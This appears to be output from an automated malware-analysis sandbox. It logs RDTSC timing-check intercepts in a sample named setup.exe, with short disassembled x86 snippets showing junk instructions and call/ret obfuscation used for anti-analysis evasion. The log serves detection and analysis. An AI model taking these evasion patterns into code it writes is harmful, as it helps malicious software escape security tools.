Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 358083 second address: 358088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 358088 second address: 358099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 358153 second address: 35818B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDE9067F6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FDDE9067F74h 0x00000010 nop 0x00000011 mov cx, di 0x00000014 push 00000000h 0x00000016 mov cx, bx 0x00000019 push F10BC8BFh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3582B5 second address: 3582C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FDDE8CE13DCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3582C5 second address: 3582C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 37798A second address: 3779AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDE8CE13DCh 0x00000009 jng 00007FDDE8CE13D6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007FDDE8CE13D6h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3779AB second address: 3779DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jo 00007FDDE9067F97h 0x0000000d jmp 00007FDDE9067F71h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDDE9067F74h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3779DF second address: 3779E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 377B35 second address: 377B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 377B3A second address: 377B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 377B41 second address: 377B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 377F4B second address: 377F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 377F52 second address: 377F63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE9067F6Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 377F63 second address: 377F6D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDE8CE13D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 378375 second address: 3783B8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDE9067F66h 0x00000008 jmp 00007FDDE9067F78h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007FDDE9067F7Ch 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3783B8 second address: 3783CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDDE8CE13DDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3783CE second address: 3783D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3787A3 second address: 3787A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 378EE9 second address: 378EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 378EEF second address: 378EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDDE8CE13D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3792E0 second address: 3792E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3792E4 second address: 3792EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 379569 second address: 37956D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 37956D second address: 37958A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 37958A second address: 37958E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 33C2E8 second address: 33C312 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FDDE8CE13F1h 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38127A second address: 381280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 381280 second address: 381285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 381285 second address: 3812EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDDE9067F75h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jng 00007FDDE9067F72h 0x00000019 jnp 00007FDDE9067F6Ch 0x0000001f jnl 00007FDDE9067F66h 0x00000025 mov eax, dword ptr [eax] 0x00000027 jmp 00007FDDE9067F78h 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FDDE9067F6Fh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3812EB second address: 3812F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38143F second address: 381443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 381443 second address: 381462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDDE8CE13E1h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 385555 second address: 385574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FDDE9067F78h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 385574 second address: 38558C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FDDE8CE13D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 385C6A second address: 385C84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDE9067F75h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 385F43 second address: 385F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 385F4E second address: 385F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387108 second address: 38710C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38710C second address: 38711D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38711D second address: 387123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387123 second address: 387128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387128 second address: 38712D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38712D second address: 387133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387400 second address: 387416 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDDE8CE13DCh 0x00000008 je 00007FDDE8CE13D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387416 second address: 38741A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38751F second address: 387523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387B9E second address: 387BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387BA2 second address: 387BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FDDE8CE13D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387BB0 second address: 387BC1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a cmc 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387BC1 second address: 387BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387BC5 second address: 387BCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387DF0 second address: 387DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 387DF4 second address: 387DFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3880B8 second address: 3880F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add edi, dword ptr [ebp+122D3A36h] 0x00000012 xchg eax, ebx 0x00000013 jmp 00007FDDE8CE13E5h 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3880F4 second address: 388112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 388112 second address: 388116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38B979 second address: 38B983 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38B983 second address: 38B987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38C509 second address: 38C559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnl 00007FDDE9067F66h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push ebx 0x00000012 push ebx 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop ebx 0x00000016 pop ebx 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007FDDE9067F68h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 mov esi, dword ptr [ebp+122D2675h] 0x00000038 push 00000000h 0x0000003a stc 0x0000003b push 00000000h 0x0000003d or esi, 3196AD51h 0x00000043 xchg eax, ebx 0x00000044 push ecx 0x00000045 pushad 0x00000046 jnp 00007FDDE9067F66h 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38C2B5 second address: 38C2BF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDE8CE13DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38CCF5 second address: 38CCFB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38D9A7 second address: 38D9AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38D9AB second address: 38D9AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38D9AF second address: 38D9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov esi, 2385DD6Ah 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D1F62h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FDDE8CE13D8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov edi, 1024667Fh 0x00000038 push eax 0x00000039 jnp 00007FDDE8CE13E8h 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38D9FD second address: 38DA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38DA01 second address: 38DA05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38E434 second address: 38E43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38E43A second address: 38E43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38E43F second address: 38E457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FDDE9067F66h 0x00000009 js 00007FDDE9067F66h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38E457 second address: 38E465 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDDE8CE13D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 38EC17 second address: 38EC1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3943A8 second address: 3943B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 popad 0x00000008 js 00007FDDE8CE13F2h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3943B9 second address: 3943CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FDDE9067F6Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 395756 second address: 3957BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jng 00007FDDE8CE13F5h 0x0000000e call 00007FDDE8CE13DAh 0x00000013 jmp 00007FDDE8CE13E4h 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D2A1Bh], esi 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push eax 0x00000026 call 00007FDDE8CE13D8h 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 add dword ptr [esp+04h], 0000001Bh 0x00000038 inc eax 0x00000039 push eax 0x0000003a ret 0x0000003b pop eax 0x0000003c ret 0x0000003d mov ebx, 344DA4D4h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push edi 0x00000047 pop edi 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 394B3F second address: 394B43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39590A second address: 395923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDE8CE13E4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 396B84 second address: 396B9F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDE9067F68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDE9067F6Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 395923 second address: 395934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FDDE8CE13D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 396B9F second address: 396BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3979E6 second address: 3979EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 397B60 second address: 397B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 399965 second address: 399984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDE8CE13E7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 399984 second address: 3999A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDDE9067F77h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3999A5 second address: 3999AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3999AB second address: 3999AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 399B7E second address: 399B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39B895 second address: 39B8C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, dword ptr [ebp+122D2970h] 0x0000000f push 00000000h 0x00000011 mov di, 7D27h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDDE9067F70h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39C85E second address: 39C8E5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDDE8CE13DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FDDE8CE13D8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 add ebx, 28D4CC8Eh 0x0000002f call 00007FDDE8CE13E1h 0x00000034 mov bx, 54A2h 0x00000038 pop edi 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007FDDE8CE13D8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 stc 0x00000056 mov edi, dword ptr [ebp+122D20E3h] 0x0000005c mov ebx, dword ptr [ebp+122D1877h] 0x00000062 push eax 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 push esi 0x00000067 pop esi 0x00000068 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39C8E5 second address: 39C8EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39C8EF second address: 39C8F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
